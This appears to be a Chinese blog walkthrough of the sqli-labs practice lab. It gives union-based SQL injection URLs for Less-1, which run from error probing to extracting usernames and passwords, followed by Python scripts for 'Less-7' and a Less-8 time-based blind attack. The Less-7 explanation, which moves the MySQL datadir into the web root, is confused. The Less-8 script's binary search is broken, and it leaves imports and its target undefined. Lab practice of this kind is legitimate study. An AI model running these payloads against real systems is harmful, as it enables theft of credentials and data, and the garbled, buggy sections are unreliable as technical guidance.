SQL注入第一关-Less1

1、判断注入点类型

单引号测试

http://127.0.0.1/Less-1/?id=1'

报错,属于字符型注入,SQL语法有错误;

则在后面加上 --+

http://127.0.0.1/Less-1/?id=1' -- +

注:进行验证: 若是数字不相等依然报错

http://127.0.0.1/Less-1/?id=1' and 1=2 --+

2、判断字段数

order by 查询字段个数,逐级增加order by 后面的数字,直到报错。这里是order by到第4个字段时报错,所以证明有3个字段。

http://127.0.0.1/Less-1/?id=1' order by  4  -- +

3、使用联合查询  确定显示位置

http://127.0.0.1/Less-1/?id=1' union select 1,2,3  -- +

     由于查询语句前面是对的,所以显示前面的内容,后面的无法显示,不能确定显示位置,所以更改语句,使得前面的语句为错,显示后面的内容:

http://127.0.0.1/Less-1/?id= -1' union select 1,2,3 --+

4、确定显示位置后,查询库名

http://127.0.0.1/Less-1/?id=-1' union select 1,version(),database() --+

字段数为3,所以1在这表示占位,version()查询数据库版本,database()查询数据库库名

5、查询表名


http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

6、查询列名


http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

7、查询用户名和密码

http://127.0.0.1/Less-1/?id=-1' union select 1,username,password from users where id=2 --+

### SQL注入文件上传方法 在处理SQL注入中的文件上传漏洞时,通常涉及利用应用程序的安全配置缺陷来绕过文件类型的验证机制。当提到`Less-7`这一关卡时,在特定条件下允许攻击者通过修改服务器上的某些设置实现任意文件上传的目的[^2]。 为了完成此操作,需要具备对目标系统的较高控制级别,比如更改MySQL的数据目录至Web可访问路径下,并确保拥有足够的权限执行这些变更动作。然而值得注意的是,这种做法仅限于实验环境内用于学习目的,绝不可应用于生产环境中尝试非法入侵行为。 具体实施步骤如下所示: 1. 将MySQL数据存储位置更改为Web服务器能够访问的位置; 2. 重启MySQL服务使上述改动生效; 3. 构造特殊请求向应用提交恶意文件并触发其保存到指定表单字段关联的列中; 4. 访问已成功上载的文件以进一步开展后续渗透活动。 ```python import os os.system('service mysql stop') os.system('sed -i "s/datadir.*$/datadir=\/var\/www\/html/" /etc/mysql/my.cnf') # 修改my.cnf文件中的datadir项指向新的路径 os.system('chown -R mysql:mysql /var/www/html/') # 更改新路径下的所有权给mysql用户组 os.system('chmod 755 /var/www/html/') # 设置适当权限以便让webserver可以读取该目录内的内容 os.system('service mysql start') # 启动mysql服务 ``` 请注意以上代码片段仅为理论说明用途,请勿随意运行! --- ### Sqli-labs Less-8 解决方案 对于`sqli-labs`项目里的第八关挑战——`Less-8`而言,这里主要考察了基于时间盲注技术的时间延迟型SQL注入技巧的应用场景。根据题目描述可知存在三个必要前提条件:参数可控、缺乏充分过滤措施以及最终会被送入后台数据库引擎加以解释执行[^3]。 考虑到页面本身并没有提供任何直接反馈信息告知我们所构建的有效负载是否被正确接收到了后端逻辑层面上去,因此借助布尔表达式的真假性质配合着延时函数(如sleep())来进行间接判断成为了一种可行策略。下面给出一段Python脚本来自动化获取当前使用的默认数据库名称作为例子展示如何运用此类手法破解难题[^5]。 ```python def inject_database_name(url): db_name = '' for position in range(1, 21): # 假设最长不超过20字符长度 char_found = False lower_bound = 32 # ASCII码空格符起始处 upper_bound = 126 # 可见ASCII字符结束标志 while not char_found and lower_bound <= upper_bound: guess_char_ascii = (lower_bound + upper_bound) >> 1 injection_string = f"1' AND IF(ASCII(SUBSTRING((SELECT database()),{position},1))>{guess_char_ascii}, sleep(5), 'false') -- " response_time_start = time.time() requests.get(f"{url}?id={injection_string}") elapsed_seconds = round(time.time()-response_time_start) if elapsed_seconds >= 5: # 如果响应超出了设定阈值,则表示猜测正确 lower_bound = guess_char_ascii + 1 char_found = True elif elapsed_seconds < 5: upper_bound = guess_char_ascii - 1 actual_character = chr(lower_bound) if char_found else '_' print(actual_character,end='') inject_database_name(target_url) ``` 这段程序会逐位猜解出完整的数据库名字串,每一轮迭代都会发送HTTP GET请求携带精心设计过的payload字符串过去等待服务器回应。一旦发现异常延长的现象即意味着我们的假设成立从而锁定相应位置上的确切字母或数字直至整个序列全部揭露出来为止。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值